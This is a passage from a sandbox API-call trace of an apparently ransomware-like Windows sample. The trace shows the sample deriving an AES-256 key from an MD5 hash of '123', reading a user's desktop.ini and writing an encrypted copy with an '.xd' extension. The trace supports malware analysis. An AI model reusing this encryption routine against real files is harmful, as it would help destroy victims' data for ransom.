wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.213] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.214] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.214] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.214] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621570, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.214] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.214] CryptCreateHash (in: hProv=0x17ab550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.214] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629630, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.215] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621900, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.215] CryptHashData (hHash=0x164c4f0, pbData=0x1629530, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.216] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.216] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.216] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.216] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.216] CryptDeriveKey (in: hProv=0x17ab550, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0063.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.216] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.217] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.217] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0063.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.218] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.218] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.218] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0063.219] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.221] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.221] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1f8, lpOverlapped=0x0) returned 1 [0063.222] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.224] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0063.224] TranslateMessage (lpMsg=0x130f164) returned 0 [0063.224] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0063.225] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0063.228] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0063.228] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0063.228] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.228] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.229] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.229] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.229] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.229] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.229] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.229] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.229] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.229] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.229] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.230] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.230] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.230] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.230] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.230] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.230] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.246] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.247] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.248] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.248] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.248] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.248] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.248] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.248] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.249] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x200) returned 1 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] CharLowerBuffW (in: lpsz="byte[513]", cchLength=0x9 | out: lpsz="byte[513]") returned 0x9 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.249] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.249] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.249] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.249] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.249] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x163f828*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x200 | out: pbData=0x163f828*, pdwDataLen=0x130e618*=0x200) returned 1 [0063.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] CharUpperBuffW (in: 